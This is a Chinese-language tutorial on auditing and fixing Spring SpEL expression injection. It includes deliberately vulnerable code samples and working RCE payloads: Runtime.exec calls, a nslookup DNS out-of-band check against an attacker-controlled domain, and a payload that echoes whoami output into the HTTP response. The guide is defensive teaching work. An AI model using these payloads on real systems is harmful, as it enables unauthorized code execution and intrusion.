Spring SpEL表达式注入漏洞:原理、审计与修复实战指南

📅 2026/6/21 20:56:59
Spring SpEL表达式注入漏洞:原理、审计与修复实战指南
1. 项目概述为什么SpEL表达式注入值得警惕最近在帮几个团队做代码安全审计发现一个挺有意思的现象很多开发同学对SQL注入、XSS这些传统漏洞的防范意识已经很强了框架层面也做了不少防护。但一提到表达式注入特别是Spring框架里的SpELSpring Expression Language表达式注入不少人就有点懵要么是完全没概念要么是知道有风险但不知道具体在哪、怎么防。这其实挺危险的因为SpEL功能强大用得好是利器用不好就是给系统埋了个大雷。简单来说SpEL是Spring框架提供的一套功能强大的表达式语言它允许你在运行时动态地查询和操作对象图。它的设计初衷是为了让Spring的配置文件、注解比如Value、PreAuthorize以及一些模板如Thymeleaf更灵活。你可以用它来调用方法、访问属性、进行数学运算、逻辑判断等等。问题就出在这个“动态”和“强大”上。如果开发人员不小心将用户可控的输入未经任何过滤或校验直接拼接到了SpEL表达式的上下文中并执行攻击者就能构造恶意的表达式实现远程代码执行RCE。这个危害级别和Struts2的OGNL表达式注入、Log4j的JNDI注入是一个量级的。为什么现在要特别关注它一方面Spring Boot/Cloud的普及让SpEL的使用场景大大增加不仅仅是配置在Spring Security的权限注解、缓存Key的生成、甚至一些消息转换的逻辑里都可能用到。另一方面这种漏洞往往比较隐蔽它不像SQL注入那样有明显的数据库操作语句可能就藏在一个Value(#{systemProperties[user.region]})这样的注解里或者一个StandardEvaluationContext的用法中。对于做代码审计或者安全开发的同学来说理解SpEL的机制并能在代码中精准地定位和评估这类风险是一项越来越重要的基本功。2. SpEL表达式注入的核心原理与风险场景拆解要审计先得懂原理。SpEL注入的本质和大多数注入漏洞一样“信任了不可信的数据”。SpEL引擎在解析表达式时如果表达式的内容可以被外部输入控制并且解析器使用了功能强大的StandardEvaluationContext这是默认且功能最全的上下文那么攻击者就能突破表达式的原本意图执行任意代码。2.1 SpEL的两种关键解析上下文这是理解风险的核心。SpEL主要使用两种EvaluationContextStandardEvaluationContext这是功能完整的上下文。它提供了对SpEL语言全部特性的支持包括但不限于创建新对象new String(xxx)。调用任意方法abc.toUpperCase()。引用类型T(java.lang.Runtime)。访问静态方法和属性T(java.lang.Runtime).getRuntime()。赋值、类型转换等。风险点一旦用户输入能进入这个上下文的表达式几乎等同于拥有了执行任意Java代码的能力。这是高危漏洞的根源。SimpleEvaluationContext这是Spring 4.2引入的、功能受限的上下文。它被设计用于只需要数据绑定、简单属性查询或条件判断的场景。它明确禁止了以下操作引用Java类型T(...)。构造函数调用new。方法调用除非显式配置允许。赋值操作。安全建议在绝大多数从外部如HTTP参数、配置文件、数据库获取表达式内容的场景下都应该使用SimpleEvaluationContext它能从根本上杜绝代码执行。很多历史漏洞和错误用法都是因为在不该用StandardEvaluationContext的地方用了它或者该用SimpleEvaluationContext时没意识到它的存在。2.2 高风险代码模式与常见触发点在代码审计时你需要像侦探一样寻找这些“犯罪模式”。我总结了几类最常见的风险点模式一动态解析用户输入的表达式这是最直接、最危险的模式。代码直接接收用户输入并交给SpEL引擎解析。// 危险示例直接解析用户输入 GetMapping(/eval) public String eval(RequestParam String expression) { ExpressionParser parser new SpelExpressionParser(); // 这里使用了默认的StandardEvaluationContext Expression exp parser.parseExpression(expression); return exp.getValue().toString(); }攻击者传入T(java.lang.Runtime).getRuntime().exec(calc)服务器就可能弹出计算器视操作系统而定。审计时看到SpelExpressionParser().parseExpression()且参数外部可控就要立刻拉响警报。模式二注解中的动态表达式Spring的Value注解非常方便但也可能成为隐患。当注解的值来自配置文件而配置文件的值又可能被外部篡改如环境变量、配置中心时风险就产生了。// 潜在风险配置来源不可信 Component public class SomeService { Value(${custom.expression:default}) // 假设custom.expression来自外部配置 private String dynamicValue; }如果custom.expression被恶意设置为一个SpEL表达式在Spring容器初始化解析Value时就会执行。审计配置中心、环境变量传递链的安全性同样重要。模式三Spring Security 权限表达式Spring Security的PreAuthorize、PostAuthorize等注解支持SpEL用于复杂的权限判断。// 风险示例权限表达式掺入用户输入 PreAuthorize(hasPermission(#document, write)) public void updateDocument(Document document) { // ... }这个例子本身是安全的因为它使用的是Security内置的方法和参数。但如果开发人员错误地拼接了用户输入比如PreAuthorize(hasRole( userInput ))就会造成注入。需要审计所有权限注解中的表达式检查是否有字符串拼接操作。模式四缓存Key的生成一些缓存框架如Spring Cache允许使用SpEL来生成缓存的Key。// 风险示例缓存Key包含未过滤的用户输入 Cacheable(valuebooks, key#isbn #userInput) public Book findBook(String isbn, String userInput) { // ... }这里的key参数是一个SpEL表达式如果#userInput是用户可控的攻击者就可以注入恶意表达式。需要检查所有Cacheable、CachePut等注解的key、condition属性。模式五XML配置文件中的SpEL在老式的基于XML的Spring配置中SpEL也广泛应用。bean idmyBean classcom.example.MyBean property namevalue value#{systemProperties[user.home]} / /bean如果这里的systemProperties[user.home]或其部分来自不可信的配置源同样存在风险。审计旧项目时需要仔细检查XML配置文件。注意并非所有使用StandardEvaluationContext的地方都一定有漏洞。关键判断依据是表达式字符串是否全部或部分由外部不可信输入控制如果表达式是开发人员硬编码在源码中的固定字符串如Value(#{systemProperties[java.version]})那么风险是可控的除非攻击者能篡改系统属性。风险在于“动态拼接”。3. 代码审计实战手工与工具结合挖掘漏洞知道了原理和模式我们就可以开始实战审计了。我习惯采用“静态扫描工具 动态分析手工”相结合的方式。3.1 静态代码扫描快速定位可疑点首先利用工具进行大范围筛查提高效率。使用IDE的搜索功能这是最直接的方法。在IntelliJ IDEA或Eclipse中全局搜索以下关键词SpelExpressionParserparseExpressionStandardEvaluationContextValue并检查其值是否包含#{}或${}且来源可疑PreAuthorize,PostAuthorize,PreFilter,PostFilterCacheable,CachePut,CacheEvict检查key/conditionEvaluationContext将搜索到的结果逐一列入待审查清单。使用专用SAST工具很多商业或开源的静态应用安全测试工具已经支持SpEL注入的检测规则。例如SonarQube 自定义或使用现有的安全规则包可以扫描出潜在的表达式注入问题。SpotBugs/Find Security Bugs 这是一个非常棒的免费开源插件。Find Security Bugs插件包含了“SPEL_INJECTION”的检测规则能直接标识出高危的SpelExpressionParser.parseExpression()调用点。Fortify SCA, Checkmarx 商业工具通常也有较强的检测能力。操作心得不要完全依赖工具的报错。工具可能会误报将安全的动态表达式标记为问题或漏报无法识别复杂的字符串拼接路径。工具的定位是“辅助”帮你缩小范围最终的判断需要人工进行。3.2 人工代码审计深度分析与确认拿到工具扫描出的可疑点后开始深入的人工分析。这是最考验功力的环节。第一步数据流溯源对于每一个可疑的SpEL解析调用画出一条简单的数据流图用户输入 (HTTP参数/Header/Cookie/文件) - 控制器(Controller) - 服务层(Service) - SpEL解析点你需要回答那个最终传入parseExpression()的字符串它的每一个部分都是从哪来的有没有用户可控的部分例如public String evaluate(String userInput) { String prefix T(java.lang.System).getProperty(; String suffix ); // 危险直接拼接 String expression prefix userInput suffix; return parser.parseExpression(expression).getValue(String.class); }这里很明显userInput被直接拼接进了表达式。但如果数据流很长、很绕可能需要跟踪多个方法调用。第二步上下文分析确认解析时使用的EvaluationContext类型。如果看到是new StandardEvaluationContext()或者parser.parseExpression(...)默认即Standard且表达式可控基本可以判定为高危漏洞。如果看到SimpleEvaluationContext.forReadOnlyDataBinding().build()那么风险极低但仍需确认是否配置了不该有的权限如允许方法调用。第三步评估利用难度与影响确认漏洞后评估其实际可利用性出网情况 漏洞点所在的服务器是否能访问外部网络这决定了攻击者是否能轻易地下载并执行远程恶意代码。权限限制 执行SpEL的Java进程是以什么权限运行的高权限如root/Administrator会放大危害。输入限制 前端或参数层面对输入是否有长度、字符类型的限制可能会阻碍复杂payload的注入。触发条件 漏洞接口是公开的还是需要认证触发频率如何第四步构造验证Payload在授权测试环境下为了最终确认漏洞需要构造一个无害的验证payload。绝对不要在生产环境尝试执行rm -rf或format之类的命令延迟验证 利用Thread.sleep()来制造一个可观察的延迟这是最安全的方式之一。T(java.lang.Thread).sleep(5000)发送请求后观察响应时间是否明显增加了5秒。DNS外带验证 如果怀疑有出网限制可以尝试触发DNS查询这是很多防火墙默认放行的协议。T(java.lang.Runtime).getRuntime().exec(nslookup your-controlled-domain.com)在你的DNS日志平台上查看是否有查询记录。无害系统信息读取T(java.lang.System).getProperty(user.dir)或T(java.lang.Runtime).getRuntime().availableProcessors()检查返回内容是否与预期相符。重要提醒所有漏洞验证必须在获得明确书面授权的测试环境中进行。未经授权的测试是违法的。3.3 审计案例实录一个真实的缓存Key注入我曾审计过一个Spring Boot电商项目发现了这样一个案例Service public class ProductService { Cacheable(value products, key product_ #id _ #filterParams) public Product getProductWithFilter(Long id, String filterParams) { // ... 查询数据库 } }Cacheable的key属性是一个SpEL表达式。这里的#filterParams是方法参数而前端搜索框的内容会直接传给这个参数。看起来filterParams可能是像“colorredsizeM”这样的字符串用于缓存不同的筛选结果。风险分析数据流用户在前端输入 - 作为filterParams传入 - 直接拼接到缓存Key的SpEL表达式中。上下文Spring Cache默认使用StandardEvaluationContext来解析key表达式。漏洞确认我构造了这样一个请求id1filterParamsT(java.lang.Runtime).getRuntime().exec(calc)。由于表达式被拼接为product_ 1 _ T(java.lang.Runtime).getRuntime().exec(calc)SpEL引擎执行了这段代码成功触发了计算器程序。这是一个标准的SpEL注入导致RCE的案例。修复方案修复方式不是过滤filterParams很难过滤全面而是避免将其直接用于表达式。可以改为在Service层内部使用安全的字符串操作生成一个纯粹的字符串作为缓存Key的一部分或者直接使用SimpleEvaluationContext但需Spring Cache支持更常见的修复是避免动态表达式。4. 漏洞修复方案与安全编码实践找到漏洞只是第一步给出正确、可实施的修复方案才是价值所在。针对不同的场景修复策略也不同。4.1 根本解决方案使用SimpleEvaluationContext或禁用动态特性这是最推荐、最根本的修复方式。场景自定义的SpEL解析逻辑如果你的代码中自己实例化了SpelExpressionParser来解析动态内容务必使用SimpleEvaluationContext。// 修复后使用SimpleEvaluationContext ExpressionParser parser new SpelExpressionParser(); // 创建只支持属性访问、类型转换等基本操作的上下文 SimpleEvaluationContext context SimpleEvaluationContext.forReadOnlyDataBinding().build(); // 假设expression来自可信或严格过滤的来源或者本身就是安全的 Object result parser.parseExpression(safeExpression).getValue(context, null);通过SimpleEvaluationContext即使表达式被恶意注入攻击者也无法调用方法、构造对象或访问类型从而彻底杜绝代码执行。场景无法避免StandardEvaluationContext在极少数情况下业务确实需要StandardEvaluationContext的完整功能例如一个内部使用的规则引擎。那么必须实施严格的输入白名单校验。语法树白名单 使用SpEL的SpelNode对表达式进行解析遍历语法树只允许特定的节点类型如属性引用PropertyOrFieldReference、字面量Literal、操作符Op等禁止MethodReference、ConstructorReference、TypeReference等危险节点。正则表达式白名单 对于非常简单的场景可以用严格的正则表达式来匹配只允许出现的字符集如仅数字、字母、下划线、点号但这通常不够安全因为SpEL语法复杂。4.2 场景化修复指南修复Value注解风险评估来源检查${}占位符的值来源如application.properties、环境变量、配置中心。确保这些配置源本身是安全的不会被未授权修改。避免SpEL如果不需要SpEL功能对于外部配置尽量直接使用Value(${prop})而不加#{}。如果需要SpEL确保表达式是静态的或仅引用可信的内部属性。修复Spring Security表达式风险严禁拼接绝对不要在PreAuthorize等注解的字符串中进行用户输入的字符串拼接。使用参数利用Spring Security SpEL内置的对象和方法如principal、authentication、hasRole()、hasPermission()以及方法参数#id来构建表达式。这些是安全的因为它们是框架管理的对象。// 安全使用框架提供的安全对象和方法参数 PreAuthorize(hasRole(ADMIN) or #username authentication.principal.username) public void updateUserInfo(String username) { ... }修复Spring Cache Key注入风险自定义KeyGenerator这是最优雅的解决方案。实现一个KeyGenerator接口的Bean在其中用安全的代码生成缓存Key完全避开SpEL。Configuration public class CacheConfig { Bean public KeyGenerator safeKeyGenerator() { return (target, method, params) - { // 安全地生成Key例如使用MD5哈希参数 StringBuilder sb new StringBuilder(method.getName()); for (Object param : params) { sb.append(Objects.toString(param)); } return sb.toString(); }; } } // 使用 Cacheable(valuebooks, keyGeneratorsafeKeyGenerator) public Book findBook(String isbn, String filter) { ... }手动生成Key字符串在Service方法内部生成一个明确的字符串作为Key而不是依赖动态SpEL。Cacheable(valueproducts, key#root.target.generateKey(#id, #filterParams)) public Product getProduct(Long id, String filterParams) { ... } // 在同一个类中定义生成Key的方法 public String generateKey(Long id, String filterParams) { // 在这里进行安全的字符串操作或者对filterParams进行严格校验/编码 return product_ id _ URLEncoder.encode(filterParams, StandardCharsets.UTF_8); }4.3 安全编码红线红线一永远不要将任何形式的用户输入HTTP参数、Header、Cookie、文件内容、数据库字段、第三方API返回直接拼接进SpEL表达式字符串。红线二在解析来自外部的、非完全可信的表达式时默认使用SimpleEvaluationContext。只有在你百分之百确定表达式来源和内容安全且确实需要完整功能时才考虑StandardEvaluationContext。红线三定期对项目依赖的Spring框架版本进行升级。Spring团队会持续修复安全漏洞保持使用较新的稳定版能避免已知的SpEL相关漏洞。5. 常见问题排查与防御加固技巧在实际开发和审计中总会遇到一些模糊地带和疑难杂症。这里分享一些我踩过坑后总结的经验。5.1 问题排查清单当你怀疑或确认一个SpEL注入点时可以按此清单进行深入排查问题排查点工具/方法数据流不清晰输入参数经过多层传递、封装难以追踪。1. IDE调试模式跟踪变量。2. 在可能的关键方法入口打日志打印参数值。3. 使用代码分析工具如IntelliJ的“Find Usages”追溯调用链。表达式是否真的执行了某些条件下表达式可能不被解析如Cacheable的unless条件为true。1. 在parseExpression或getValue处打断点。2. 使用无害的验证payload如T(java.lang.System).currentTimeMillis()并观察日志或返回值。漏洞是否可稳定利用Payload在某些环境下失败如Linux/Windows命令差异Java安全管理器限制。1. 尝试使用与目标环境兼容的Payload如Linux用/bin/sh -cWindows用cmd /c。2. 尝试使用纯Java反射的Payload绕过可能的命令过滤#{T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(whoami).getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())}此Payload尝试将命令结果写入HTTP响应极度危险仅用于授权测试理解原理。修复是否引入新问题将StandardEvaluationContext改为SimpleEvaluationContext后原有合法功能报错。1. 全面回归测试依赖SpEL功能的业务场景。2. 如果确实需要部分方法调用使用SimpleEvaluationContext.Builder谨慎配置允许的访问范围但这会重新引入风险需极其慎重。5.2 防御加固技巧除了修复具体漏洞还可以在架构和流程层面进行加固安全组件封装如果项目中有多处需要使用动态SpEL建议封装一个安全的SpEL工具类。这个工具类内部强制使用SimpleEvaluationContext并提供日志记录、表达式复杂度限制等功能。Component public class SafeSpelEvaluator { private final ExpressionParser parser new SpelExpressionParser(); private final SimpleEvaluationContext context SimpleEvaluationContext.forReadOnlyDataBinding().build(); private static final SetClass? ALLOWED_RETURN_TYPES Set.of(String.class, Number.class, Boolean.class); public T T evaluate(String expression, ClassT returnType) { if (!ALLOWED_RETURN_TYPES.contains(returnType)) { throw new IllegalArgumentException(Unsupported return type for safe evaluation); } try { // 可在此添加表达式长度、复杂度检查 if (expression.length() 100) { // 示例限制 throw new IllegalArgumentException(Expression too long); } return parser.parseExpression(expression).getValue(context, returnType); } catch (Exception e) { log.warn(Safe SpEL evaluation failed for expression: {}, expression, e); throw new RuntimeException(Expression evaluation error, e); } } }代码审计纳入CI/CD将SpotBugs with Find Security Bugs这类静态扫描工具集成到持续集成流水线中。设置门禁如果扫描出高危的“SPEL_INJECTION”问题则阻断合并请求从流程上杜绝漏洞引入。依赖库版本管理使用Maven的versions:display-dependency-updates或Gradle的dependencyUpdates插件定期检查依赖更新。确保Spring Framework及相关组件Spring Security, Spring Data等保持最新稳定版本及时获取安全补丁。安全培训与案例分享在开发团队内部定期进行安全编码培训将SpEL注入作为一个典型案例进行讲解。分享内部审计发现的实际案例脱敏后能让开发人员对这类风险有更直观和深刻的认识从而在编码时主动规避。SpEL表达式注入的审计归根结底是对“数据流”和“信任边界”的审视。它要求安全人员和开发人员不仅要知道怎么用框架更要理解框架背后的运行机制和潜在的风险假设。养成对任何“将外部数据作为代码执行”的行为保持条件反射般的警惕是构建安全软件系统的重要心智模型。每次看到parseExpression这个词不妨在心里多问一句这个表达式我真的能完全信任它吗